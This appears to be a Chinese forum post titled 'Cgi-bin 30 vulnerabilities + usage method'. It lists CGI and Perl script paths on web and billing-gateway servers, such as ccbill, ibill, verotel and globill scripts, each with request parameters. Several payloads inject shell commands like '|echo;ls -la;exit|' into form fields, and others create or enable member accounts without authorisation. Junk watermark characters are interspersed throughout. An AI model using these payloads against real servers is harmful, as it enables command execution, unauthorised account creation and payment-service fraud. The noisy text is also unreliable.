Cgi-bin 30个漏洞＋使用方法

admin

==============================
; |$ N1 d! ^" {( d
/smspass.pl
- r# n( u0 Z4 Susername=username&password=password
* p0 C0 y+ L' t! }, ]% D3 F
/index.cgi
wei=ren&gen=command
( g; h8 o' Y) Y$ B
- L$ z1 h% n7 U! c+ Z: `2 U/passmaster.cgi
+ M  H( B5 Q4 o0 h4 S# aAction=Add&Username=Username&Password=Password
% Y4 f4 C! y1 D9 U4 a3 p
4 U4 d) j- \4 o; r7 g! `/accountcreate.cgi
  S# P5 o# d0 b( J: ]  n: n9 h3 Pusername=username&password=password&ref1=|echo;ls|

( }' w7 u; _6 y/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
# j+ X0 M7 @2 @$ R/cgi-bin/EuroDebit/addusr.pl
6 f1 {; C# I! _$ Iuser=username&pass=Password&confirm=Password

. F, T& H3 z: \' l* ^7 b" N/ccbill-local.asp
8 W  d+ j( |; N% v# n" {post_values=username:password

( q9 W+ y. M5 J! z+ c9 s( \/count.cgi
# d/ I9 a- b6 v* @/ s; Tpinfile=|echo;ls -la;exit|
) l. b$ H+ n6 K. N9 b- L3 Y
0 B9 m) ]: ~9 D; I6 G  f0 a/recon.cgi
/recon.cgi?search
: S) _9 l, z" o+ q8 v! Dsearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
; \0 E/ x5 b; @/ N3 ?vercode=username:password:dseegsow:add:amount<&30>

. \% s7 C) p7 Q* n( u7 N( `: ]' t* a/af.cgi
7 X( M' r$ S, T* }_browser_out=|echo;ls -la;exit;|
+ O1 q- b- c# H  v
) D) t6 L  R/ w8 C3 d4 j/modify.cgi
6 N  F  I8 }: j! ~5 Yusername=username&password=password&expire=30

: s2 z1 f/ x# K/ [/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

- H1 l/ B  E5 I/ @9 I2 @7 |/gx9passwd.cgi
cmd=ADD&user=username&pass=password

& d; ?, _+ q4 S4 P1 b/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
. ?3 L: ^3 W% P2 C: Rsearchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
  j) J3 [* M) k# Y; Y4 k0 Aconfigfile=|echo; ls -alt; exit
' _# p, S$ F# j6 f
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
* I" k0 u+ d! t5 F: P4 @
3 @, r  I. \7 J* ^% e( l2 `/ibill*.pl
' @1 M% S$ S7 A8 i" f+ breqtype=add&authpwd=authpwd&username=username&password=password
6 X% ]9 p2 [9 _: D
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
1 ?" S+ K9 ]/ |/ n; c
# f. x. Q$ Y# W& {! p) ]0 f2 _. N& `/globill_ut.cgi
2 l8 i& }/ }! \  |; qdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
, ?% ?; k# d' U( Q) H8 ?" ?command=enable&username=USER&password=PASS

- F$ L+ P( j) ~/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

5 m% T) A4 y/ t0 B/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/ g3 U5 v% \0 Y7 q& b/cgi-bin/gateway/accountcreate.cgi
# ^% d) I  Y4 x& Y0 U% V$ Rusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
8 p" Y' F" W; B# R* i) V# t" {ADD+;echo;pwd;exit

7 v* \5 Q& g! d/count.cgi
, n& N* z# @& Q* e' y! Mpinfile=|echo;pwd;exit|
5 w4 F" Y& ]6 `5 z8 p+ h
: s9 P6 X; l8 w$ n% V/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
1 S0 h2 d- I* r. f
* U+ U& z) [" F% v  O: `4 G/add.cgi
username=username&password=password&expire=30

==============================